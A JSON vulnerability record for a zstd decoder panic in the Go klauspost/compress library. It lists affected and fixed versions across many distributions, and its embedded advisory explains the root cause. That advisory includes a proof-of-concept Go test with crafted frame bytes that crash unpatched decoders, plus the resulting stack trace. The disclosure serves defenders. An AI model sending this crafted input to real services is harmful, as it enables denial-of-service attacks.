{"id":"CVE-2026-116591","aliases":["ALPINE-CVE-2026-116591","AZL-111664","AZL-111676","AZL-111700","AZL-111709","AZL-111718","AZL-111754","AZL-111817","AZL-111827","AZL-111866","AZL-111881","AZL-111890","AZL-111917","AZL-111926","AZL-111941","AZL-111953","AZL-111983","AZL-111992","AZL-111995","AZL-112010","AZL-112025","AZL-112052","AZL-112067","AZL-112073","AZL-112085","AZL-112100","AZL-112109","AZL-112235","AZL-112247","AZL-112274","BELL-CVE-2026-116591","DEBIAN-CVE-2026-116591","EUVD-2026-110497","GHSA-fpmh-frq8-7rj8","GO-2026-6865","SUSE-SU-2026:5195-1","UBUNTU-CVE-2026-116591","openSUSE-SU-2026:12313-1","openSUSE-SU-2026:12317-1","openSUSE-SU-2026:12318-1","openSUSE-SU-2026:12323-1","openSUSE-SU-2026:12325-1","openSUSE-SU-2026:12326-1","openSUSE-SU-2026:12327-1","openSUSE-SU-2026:12340-1","openSUSE-SU-2026:12430-1","openSUSE-SU-2026:12479-1","openSUSE-SU-2026:22218-1","openSUSE-SU-2026:22227-1","openSUSE-SU-2026:22228-1","openSUSE-SU-2026:22241-1"],"status":"published","title":"compress zstd: Panic on two-block frames","description":"compress provides various compression algorithms. Prior to 1.20.2, the zstd DecodeAll and streaming decoder paths can panic when a crafted two-block frame reaches huff0.ReadTable with an FSE normalized count of 32768 that readNCount stores in int16 as -32768. The wrapped count allows buildDtable to retain stale fse.Scratch decode-table state from the prior block, and nextFast then derives an out-of-range state and indexes beyond the table instead of returning a decode error. Both blocks are required to preserve and then reuse the stale state, allowing untrusted zstd input to crash an application. This issue is fixed in version 1.20.2.","severity":{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-12","score":0.00333,"percentile":0.26839,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-190"],"published":"2026-10-26T21:54:33Z","modified":"2026-11-12T12:27:18Z","fixes":[{"ecosystem":"Go","package":"github.com/klauspost/compress/zstd","fixed_in":["1.20.2"],"sources":["ghsa","osv"]},{"ecosystem":"Alpine:v3.24","package":"docker","fixed_in":["29.9.3-r0"],"sources":["osv"]},{"ecosystem":"Alpaquita:stream","package":"docker","fixed_in":["29.9.3-r0"],"sources":["osv"]},{"ecosystem":"Debian:14","package":"golang-github-klauspost-compress","fixed_in":["1.20.3+ds1-1"],"sources":["osv"]},{"ecosystem":"Go","package":"github.com/klauspost/compress","fixed_in":["1.20.2"],"sources":["osv"]},{"ecosystem":"openSUSE:Tumbleweed","package":"aliyun-cli","fixed_in":["3.5.2-2.1"],"sources":["osv"]},{"ecosystem":"openSUSE:Tumbleweed","package":"distribution","fixed_in":["3.1.2-4.1"],"sources":["osv"]},{"ecosystem":"openSUSE:Tumbleweed","package":"go-containerregistry","fixed_in":["0.22.1-3.1"],"sources":["osv"]},{"ecosystem":"openSUSE:Tumbleweed","package":"hauler","fixed_in":["2.1.2-3.1"],"sources":["osv"]},{"ecosystem":"openSUSE:Tumbleweed","package":"helm3","fixed_in":["3.22.1-2.1"],"sources":["osv"]},{"ecosystem":"openSUSE:Tumbleweed","package":"amazon-cloudwatch-agent","fixed_in":["1.300073.2-3.1"],"sources":["osv"]},{"ecosystem":"openSUSE:Leap 16.0","package":"hauler","fixed_in":["2.1.2-bp160.2.1"],"sources":["osv"]},{"ecosystem":"openSUSE:Leap 16.0","package":"aliyun-cli","fixed_in":["3.5.2-160000.1.1"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"Go","package":"github.com/klauspost/compress/zstd","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"1.20.1"},{"fixed":"1.20.2"}]}]},{"source":"osv","ecosystem":"Alpine:v3.24","package":"docker","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"29.9.3-r0"}]}]},{"source":"osv","ecosystem":"Azure Linux:3","package":"azl-otel-collector","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"0.127.0-1"}]}]},{"source":"osv","ecosystem":"Azure Linux:3","package":"buildah","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"1.43.1-3"}]}]},{"source":"osv","ecosystem":"Azure Linux:3","package":"cri-o","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"1.30.1-1"}]}]},{"source":"osv","ecosystem":"Azure Linux:3","package":"kata-containers-preview","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"3.27.0~preview2-2"}]}]},{"source":"osv","ecosystem":"Azure Linux:3","package":"podman","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"5.6.1-10"}]}]},{"source":"osv","ecosystem":"Azure Linux:3","package":"umoci","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"0.4.7-13"}]}]},{"source":"osv","ecosystem":"Azure Linux:3","package":"azurelinux-image-tools","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"1.7.0-2"}]}]},{"source":"osv","ecosystem":"Azure Linux:3","package":"cert-manager","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"1.12.15-15"}]}]},{"source":"osv","ecosystem":"Azure Linux:3","package":"containerd2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"2.3.7-1"}]}]},{"source":"osv","ecosystem":"Azure Linux:3","package":"containerized-data-importer","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"1.62.0-9"}]}]},{"source":"osv","ecosystem":"Azure Linux:3","package":"coredns","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"1.11.4-23"}]}]},{"source":"osv","ecosystem":"Azure Linux:3","package":"docker-buildx","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"0.14.0-19"}]}]},{"source":"osv","ecosystem":"Azure Linux:3","package":"docker-cli","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"25.0.7-6"}]}]},{"source":"osv","ecosystem":"Azure Linux:3","package":"docker-compose","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"2.27.0-16"}]}]},{"source":"osv","ecosystem":"Azure Linux:3","package":"gh","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"2.102.0-2"}]}]},{"source":"osv","ecosystem":"Azure Linux:3","package":"influxdb","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"2.7.5-23"}]}]},{"source":"osv","ecosystem":"Azure Linux:3","package":"kata-containers","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"4.1.0.kata1-2"}]}]},{"source":"osv","ecosystem":"Azure Linux:3","package":"kata-containers-cc","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"3.15.0.aks0-23"}]}]},{"source":"osv","ecosystem":"Azure Linux:3","package":"keda","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"2.14.1-19"}]}]},{"source":"osv","ecosystem":"Azure Linux:3","package":"kubernetes","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"1.30.10-32"}]}]},{"source":"osv","ecosystem":"Azure Linux:3","package":"libcontainers-common","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"20240213-3"}]}]},{"source":"osv","ecosystem":"Azure Linux:3","package":"kubevirt-openvmm","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"1.9.0-1"}]}]},{"source":"osv","ecosystem":"Azure Linux:3","package":"moby-containerd-cc","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"1.7.7-19"}]}]},{"source":"osv","ecosystem":"Azure Linux:3","package":"moby-engine","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"25.0.18-1"}]}]},{"source":"osv","ecosystem":"Azure Linux:3","package":"opa","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"0.63.0-6"}]}]},{"source":"osv","ecosystem":"Azure Linux:3","package":"packer","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"1.9.5-23"}]}]},{"source":"osv","ecosystem":"Azure Linux:3","package":"skopeo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"1.14.4-15"}]}]},{"source":"osv","ecosystem":"Azure Linux:3","package":"telegraf","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"1.31.0-36"}]}]},{"source":"osv","ecosystem":"Azure Linux:3","package":"vitess","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"19.0.4-16"}]}]},{"source":"osv","ecosystem":"Alpaquita:stream","package":"docker","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"24.0.2-r0"},{"fixed":"29.9.3-r0"}]}]},{"source":"osv","ecosystem":"Debian:12","package":"golang-github-klauspost-compress","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.15.12+ds1-3","1.17.0+ds1-1","1.17.0+ds1-1~exp1","1.17.10+ds1-1","1.17.11+ds1-1","1.17.2+ds1-1","1.17.7+ds1-1","1.17.9+ds1-1","1.17.9+ds1-1~bpo12+1","1.18.0+ds1-1","1.18.1+ds1-1","1.18.6+ds1-1","1.18.6+ds1-2","1.19.0+ds1-1","1.19.0+ds1-2","1.20.0+ds1-1","1.20.3+ds1-1"]},{"source":"osv","ecosystem":"Debian:13","package":"golang-github-klauspost-compress","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.18.0+ds1-1","1.18.1+ds1-1","1.18.6+ds1-1","1.18.6+ds1-2","1.19.0+ds1-1","1.19.0+ds1-2","1.20.0+ds1-1","1.20.3+ds1-1"]},{"source":"osv","ecosystem":"Debian:14","package":"golang-github-klauspost-compress","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.20.3+ds1-1"}]}],"versions":["1.18.0+ds1-1","1.18.1+ds1-1","1.18.6+ds1-1","1.18.6+ds1-2","1.19.0+ds1-1","1.19.0+ds1-2","1.20.0+ds1-1"]},{"source":"osv","ecosystem":"Go","package":"github.com/klauspost/compress/zstd","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.20.2"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/klauspost/compress","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.20.2"}]}]},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Module for Public Cloud 15 SP5","package":"aliyun-cli","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.5.2-150400.9.13.1"}]}],"bundled":2},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Module for Public Cloud 15 SP6","package":"aliyun-cli","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.5.2-150400.9.13.1"}]}],"bundled":2},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Module for Public Cloud 15 SP7","package":"aliyun-cli","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.5.2-150400.9.13.1"}]}],"bundled":2},{"source":"osv","ecosystem":"Ubuntu:16.04:LTS","package":"golang-github-klauspost-compress","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.0~git20151221.0.2dd54ae-1"]},{"source":"osv","ecosystem":"Ubuntu:18.04:LTS","package":"golang-github-klauspost-compress","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.2.1-1","1.2.1-2","1.2.1-4","1.2.1-5"]},{"source":"osv","ecosystem":"Ubuntu:20.04:LTS","package":"golang-github-klauspost-compress","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.2.1-5","1.7.6-2","1.9.5-1","1.9.5-2"]},{"source":"osv","ecosystem":"Ubuntu:22.04:LTS","package":"golang-github-klauspost-compress","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.11.7-2"]},{"source":"osv","ecosystem":"Ubuntu:24.04:LTS","package":"golang-github-klauspost-compress","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.15.12+ds1-3","1.17.7+ds1-1"]},{"source":"osv","ecosystem":"Ubuntu:26.10","package":"golang-github-klauspost-compress","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.18.1+ds1-1","1.19.0+ds1-1","1.20.0+ds1-1"]},{"source":"osv","ecosystem":"Ubuntu:26.04:LTS","package":"golang-github-klauspost-compress","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.18.0+ds1-1","1.18.1+ds1-1"]},{"source":"osv","ecosystem":"openSUSE:Tumbleweed","package":"aliyun-cli","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.5.2-2.1"}]}]},{"source":"osv","ecosystem":"openSUSE:Tumbleweed","package":"cadvisor","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.60.6-5.1"}]}],"bundled":2},{"source":"osv","ecosystem":"openSUSE:Tumbleweed","package":"distribution","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.2-4.1"}]}]},{"source":"osv","ecosystem":"openSUSE:Tumbleweed","package":"go-containerregistry","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.22.1-3.1"}]}]},{"source":"osv","ecosystem":"openSUSE:Tumbleweed","package":"hauler","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.1.2-3.1"}]}]},{"source":"osv","ecosystem":"openSUSE:Tumbleweed","package":"helm","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.3.1-3.1"}]}],"bundled":5},{"source":"osv","ecosystem":"openSUSE:Tumbleweed","package":"helm3","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.22.1-2.1"}]}]},{"source":"osv","ecosystem":"openSUSE:Tumbleweed","package":"amazon-cloudwatch-agent","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.300073.2-3.1"}]}]},{"source":"osv","ecosystem":"openSUSE:Tumbleweed","package":"google-osconfig-agent","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"20261103.02-1.1"}]}],"bundled":4},{"source":"osv","ecosystem":"openSUSE:Tumbleweed","package":"syft","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.56.0-1.1"}]}],"bundled":2},{"source":"osv","ecosystem":"openSUSE:Leap 16.0","package":"cadvisor","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.60.6-bp160.4.1"}]}],"bundled":2},{"source":"osv","ecosystem":"openSUSE:Leap 16.0","package":"go-containerregistry","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.22.1-bp160.1.1"}]}],"bundled":3},{"source":"osv","ecosystem":"openSUSE:Leap 16.0","package":"hauler","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.1.2-bp160.2.1"}]}]},{"source":"osv","ecosystem":"openSUSE:Leap 16.0","package":"aliyun-cli","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.5.2-160000.1.1"}]}]}],"products":[{"vendor":"klauspost","product":"compress"}],"references":[{"url":"https://github.com/klauspost/compress/security/advisories/GHSA-fpmh-frq8-7rj8","tags":["x_refsource_CONFIRM","advisory","web","report"]},{"url":"https://github.com/klauspost/compress/commit/7f5d8528720c895a6106f201719f87eb030a565d","tags":["x_refsource_MISC","fix","web","report"]},{"url":"https://github.com/klauspost/compress/releases/tag/v1.20.2","tags":["x_refsource_MISC","web","report"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-116591","tags":["web","advisory"]},{"url":"https://github.com/advisories/GHSA-fpmh-frq8-7rj8"},{"url":"https://security.alpinelinux.org/vuln/CVE-2026-116591","tags":["advisory"]},{"url":"https://docs.bell-sw.com/security/cves/CVE-2026-116591","tags":["advisory"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/116xxx/CVE-2026-116591.json","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2026-116591","tags":["advisory"]},{"url":"https://github.com/klauspost/compress","tags":["package"]},{"url":"https://www.suse.com/support/update/announcement/2026/suse-su-20265195-1/","tags":["advisory"]},{"url":"https://bugzilla.suse.com/1283596","tags":["report"]},{"url":"https://bugzilla.suse.com/1284203","tags":["report"]},{"url":"https://bugzilla.suse.com/1288500","tags":["report"]},{"url":"https://www.suse.com/security/cve/CVE-2026-116591","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-63209","tags":["web"]},{"url":"https://ubuntu.com/security/CVE-2026-116591","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-116591","tags":["report"]},{"url":"","tags":["advisory"]},{"url":"https://www.suse.com/security/cve/CVE-2026-78663","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-78659","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-78660","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-97032","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-109425","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-78661","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-97045","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-116585","tags":["web"]},{"url":"https://bugzilla.suse.com/1288212","tags":["report"]},{"url":"https://bugzilla.suse.com/1288588","tags":["report"]},{"url":"https://bugzilla.suse.com/1239277","tags":["report"]},{"url":"https://bugzilla.suse.com/1283692","tags":["report"]},{"url":"https://bugzilla.suse.com/1288488","tags":["report"]},{"url":"https://www.suse.com/security/cve/CVE-2025-22868","tags":["web"]},{"url":"https://bugzilla.suse.com/1288460","tags":["report"]}],"sources":{"cve":[{"id":"CVE-2026-116591","title":"compress zstd: Panic on two-block frames","description":"compress provides various compression algorithms. Prior to 1.20.2, the zstd DecodeAll and streaming decoder paths can panic when a crafted two-block frame reaches huff0.ReadTable with an FSE normalized count of 32768 that readNCount stores in int16 as -32768. The wrapped count allows buildDtable to retain stale fse.Scratch decode-table state from the prior block, and nextFast then derives an out-of-range state and indexes beyond the table instead of returning a decode error. Both blocks are required to preserve and then reuse the stale state, allowing untrusted zstd input to crash an application. This issue is fixed in version 1.20.2.","status":"published","published":"2026-10-26T21:54:33.109Z","modified":"2026-10-27T14:16:30.395Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high","assessor":"cna"}],"cwes":["CWE-190"],"updated_at":"2026-11-02T14:20:03.827373Z"}],"euvd":[{"id":"EUVD-2026-110497","description":"compress provides various compression algorithms. Prior to 1.20.2, the zstd DecodeAll and streaming decoder paths can panic when a crafted two-block frame reaches huff0.ReadTable with an FSE normalized count of 32768 that readNCount stores in int16 as -32768. The wrapped count allows buildDtable to retain stale fse.Scratch decode-table state from the prior block, and nextFast then derives an out-of-range state and indexes beyond the table instead of returning a decode error. Both blocks are required to preserve and then reuse the stale state, allowing untrusted zstd input to crash an application. This issue is fixed in version 1.20.2.","status":"published","published":"2026-10-26T21:54:33Z","modified":"2026-10-27T14:16:30Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high"}],"updated_at":"2026-11-02T16:59:23.601588Z"}],"ghsa":[{"id":"GHSA-fpmh-frq8-7rj8","title":"compress zstd: Panic on two-block frames","description":"### Summary\n\nA crafted ~27 KB two-block zstd frame makes DecodeAll and the streaming decoder panic with an out-of-range slice index instead of returning a decode error. The same bytes decode fine with the reference zstd. Any program that decompresses untrusted zstd input can be crashed by it. Reproduced on v1.20.0 and v1.20.1.\n\nReleased in https://github.com/klauspost/compress/releases/tag/v1.20.2\n\n### Details\n\n The panic is in the FSE decoder that `huff0.ReadTable` uses to read a block's Huffman-weight table. Three conditions have to hold at once, and the crafted frame arranges all three.\n\n  **1. A count that doesn't fit is accepted.** `readNCount` permits a tableLog up to 15 ([`tablelogAbsoluteMax`](https://github.com/klauspost/compress/blob/v1.20.0/fse/decompress.go#L9), checked at [`fse/decompress.go:54`](https://github.com/klauspost/compress/blob/v1.20.0/fse/decompress.go#L54)), so a symbol's normalized count can reach 32768 (2^15). The count is stored in an `int16` at [`fse/decompress.go:126`](https://github.com/klauspost/compress/blob/v1.20.0/fse/decompress.go#L126), where 32768 wraps to −32768. The validation only looks at the `int32` running totals (`remaining` and `gotTotal`), which still match, so the bad value passes. The crafted second block produces `norm = [0, -32768]`, `symbolLen = 2`.\n\n  **2. The decode table is built empty, with no error.** In `buildDtable`, −32768 isn't the −1 that flags a low-probability symbol, so it skips that branch, and the spread loop [`for i := 0; i \u003c int(v); i++`](https://github.com/klauspost/compress/blob/v1.20.0/fse/decompress.go#L221) runs zero times for a negative `v`. `position` never advances, so the [`position != 0`](https://github.com/klauspost/compress/blob/v1.20.0/fse/decompress.go#L230) guard passes as well.\n\n  **3. Stale state from the previous block is reused.** `huff0` shares one `fse.Scratch` across both blocks, and [`allocDtable`](https://github.com/klauspost/compress/blob/v1.20.0/fse/decompress.go#L173-L189) reuses `decTable` and `ct.stateTable` without clearing them. So the table is rebuilt on top of block 1's symbols and `symbolNext` values. Many cells end up with `nbBits == 0`, because the leftover `nextState` is ≥ 32768.\n\n  At decode time, every symbol's count is below `largeLimit`, so `zeroBits` stays false and `decompress` takes the [`nextFast`](https://github.com/klauspost/compress/blob/v1.20.0/fse/decompress.go#L371) path. On a cell with `nbBits == 0`, [`getBitsFast(0)`](https://github.com/klauspost/compress/blob/v1.20.0/fse/bitreader.go#L58-L63) shifts by `(64-0)\u002663 == 0` and returns the low 16 bits of the whole register instead of 0. The state runs past the end of the table, and [`d.dt[d.state]`](https://github.com/klauspost/compress/blob/v1.20.0/fse/decompress.go#L372) panics:\n\n  ```\n  panic: runtime error: index out of range [33077] with length 32768\n  ```\n\n  Both blocks are needed. With a fresh `Scratch`, every cell would be symbol 0 with `symbolNext 0`, `highBits(0)` would underflow, `newState` would reach 32768, and the [`newState \u003e= tableSize`](https://github.com/klauspost/compress/blob/v1.20.0/fse/decompress.go#L246) guard would return an error. Block 1's leftover state is what carries the malformed table past that guard.\n\n  The underlying bug is the `int16` storage combined with a tableLog allowed to reach 15. The C reference uses `short` too, but caps the FSE tableLog at 12 and the Huffman-weight tableLog at 6, so the count never wraps. `huff0.ReadTable` doesn't enforce that 6-bit bound.\n\n  A fix: reject a count of `1\u003c\u003c15` (or `nbBits \u003e 14`) in `readNCount`, and enforce the weight-table tableLog in `huff0`. Clearing the reused table would also turn the panic into an error.\n\n\n### Proof of concept\n\nRun the following repro:\n\n```\npackage compression\n\nimport (\n\t\"bytes\"\n\t\"slices\"\n\t\"testing\"\n\n\t\"github.com/klauspost/compress/zstd\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestDecodeAll(t *testing.T) {\n\t// zstdFSEPanic is a crafted two-block zstd frame that makes\n\t// github.com/klauspost/compress (v1.20.0 and v1.20.1) panic with an\n\t// out-of-range index in fse.nextFast rather than returning an error. Cross-block\n\t// FSE table-state carryover lets the second block's malformed Huffman-weight\n\t// table pass the decoder's guard and overflow the decode table.\n\tzstdFSEPanic := slices.Concat(\n\t\t[]byte{0x28, 0xb5, 0x2f, 0xfd, 0x00, 0x38, 0x74, 0x06, 0x00, 0x42, 0xb8, 0x32, 0x0d, 0x1a, 0x00, 0x00, 0x00, 0x90, 0xaf, 0xfa, 0xff, 0x03, 0x00, 0x80, 0xff, 0x7f},\n\t\tbytes.Repeat([]byte{0xa5, 0x94, 0x52, 0x4a, 0x29}, 37),\n\t\t[]byte{0xa5, 0x94, 0x12, 0x00, 0xad, 0x56, 0x03, 0xee, 0xff, 0xdf, 0xb3, 0x1a, 0x1c, 0x1a, 0x00, 0xe0, 0xff, 0x1f, 0x0f, 0xb1, 0x9c, 0x5a, 0xcf, 0x4d, 0xe4, 0x1d, 0x7b, 0xab, 0x99, 0x5e, 0x01, 0x51, 0xa4, 0x73, 0xd8, 0xb1, 0xf3, 0x39, 0x4b, 0x67, 0xf6, 0xab, 0x1a, 0xab, 0x1a, 0xab, 0x1a},\n\t\tbytes.Repeat([]byte{0x8c, 0x31, 0xc6, 0x18, 0x63}, 1365),\n\t\t[]byte{0x8c, 0x31},\n\t\tbytes.Repeat([]byte{0x63, 0x8c, 0x31, 0xc6, 0x18}, 1365),\n\t\t[]byte{0x63, 0x2c},\n\t\tbytes.Repeat([]byte{0x31, 0xc6, 0x18, 0x63, 0x8c}, 1365),\n\t\t[]byte{0x31, 0x46},\n\t\tbytes.Repeat([]byte{0x31, 0xc6, 0x18, 0x63, 0x8c}, 1365),\n\t\t[]byte{0x31, 0x06, 0x00},\n\t)\n\n\tdecoder, err := zstd.NewReader(nil)\n\trequire.NoError(t, err)\n\n\tdst := make([]byte, 100*1024)\n\t_, err = decoder.DecodeAll(zstdFSEPanic, dst)\n\trequire.NoError(t, err)\n}\n```\n\nOutputs:\n```\npanic: runtime error: index out of range [33077] with length 32768 [recovered, repanicked]\n\ngoroutine 36 [running]:\ntesting.tRunner.func1.2({0x100c2b7c0, 0x2472599b62a0})\n\t/Users/joshua.kim/golang/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.8.darwin-arm64/src/testing/testing.go:1974 +0x1a0\ntesting.tRunner.func1()\n\t/Users/joshua.kim/golang/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.8.darwin-arm64/src/testing/testing.go:1977 +0x318\npanic({0x100c2b7c0?, 0x2472599b62a0?})\n\t/Users/joshua.kim/golang/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.8.darwin-arm64/src/runtime/panic.go:860 +0x12c\ngithub.com/klauspost/compress/fse.(*decoder).nextFast(...)\n\t/Users/joshua.kim/golang/pkg/mod/github.com/klauspost/compress@v1.20.0/fse/decompress.go:372\ngithub.com/klauspost/compress/fse.(*Scratch).decompress(0x247259981008)\n\t/Users/joshua.kim/golang/pkg/mod/github.com/klauspost/compress@v1.20.0/fse/decompress.go:280 +0xa08\ngithub.com/klauspost/compress/fse.Decompress({0x247259ab60e0?, 0x0?, 0x0?}, 0x1007c839c?)\n\t/Users/joshua.kim/golang/pkg/mod/github.com/klauspost/compress@v1.20.0/fse/decompress.go:33 +0x64\ngithub.com/klauspost/compress/huff0.ReadTable({0x247259ab60df, 0x6acf, 0x6f21}, 0x1007899f8?)\n\t/Users/joshua.kim/golang/pkg/mod/github.com/klauspost/compress@v1.20.0/huff0/decompress.go:61 +0x130\ngithub.com/klauspost/compress/zstd.(*blockDec).decodeLiterals(0x247259aa42d0, {0x247259ab60da?, 0x19384?, 0x20000?}, 0x247259a9a958)\n\t/Users/joshua.kim/golang/pkg/mod/github.com/klauspost/compress@v1.20.0/zstd/blockdec.go:446 +0x550\ngithub.com/klauspost/compress/zstd.(*blockDec).decodeCompressed(0x247259aa42d0, 0x247259a9a958)\n\t/Users/joshua.kim/golang/pkg/mod/github.com/klauspost/compress@v1.20.0/zstd/blockdec.go:480 +0x34\ngithub.com/klauspost/compress/zstd.(*blockDec).decodeBuf(0x247259aa42d0, 0x247259a9a958)\n\t/Users/joshua.kim/golang/pkg/mod/github.com/klauspost/compress@v1.20.0/zstd/blockdec.go:256 +0x20c\ngithub.com/klauspost/compress/zstd.(*frameDec).runDecoder(0x247259a9a908, {0x247259ac6000?, 0x19000, 0x129ca3800?}, 0x247259aa42d0)\n\t/Users/joshua.kim/golang/pkg/mod/github.com/klauspost/compress@v1.20.0/zstd/framedec.go:371 +0x170\ngithub.com/klauspost/compress/zstd.(*Decoder).DecodeAll(0x247259aa41e0, {0x247259ab6000, 0x6baf, 0x7000}, {0x247259ac6000, 0x19000, 0x19000})\n\t/Users/joshua.kim/golang/pkg/mod/github.com/klauspost/compress@v1.20.0/zstd/decoder.go:395 +0x410\ngithub.com/ava-labs/avalanchego/utils/compression.TestDecodeAll(0x247259a9a6c8)\n\t/Users/joshua.kim/workspace/avalanchego/utils/compression/zstd_fse_panic_test.go:40 +0x498\ntesting.tRunner(0x247259a9a6c8, 0x100c4ae80)\n\t/Users/joshua.kim/golang/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.8.darwin-arm64/src/testing/testing.go:2036 +0xc4\ncreated by testing.(*T).Run in goroutine 1\n\t/Users/joshua.kim/golang/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.8.darwin-arm64/src/testing/testing.go:2101 +0x3a8\n```\n\n### Impact\n\nThis is a panic that callers cannot guard against with error handling. This should be a DOS for most 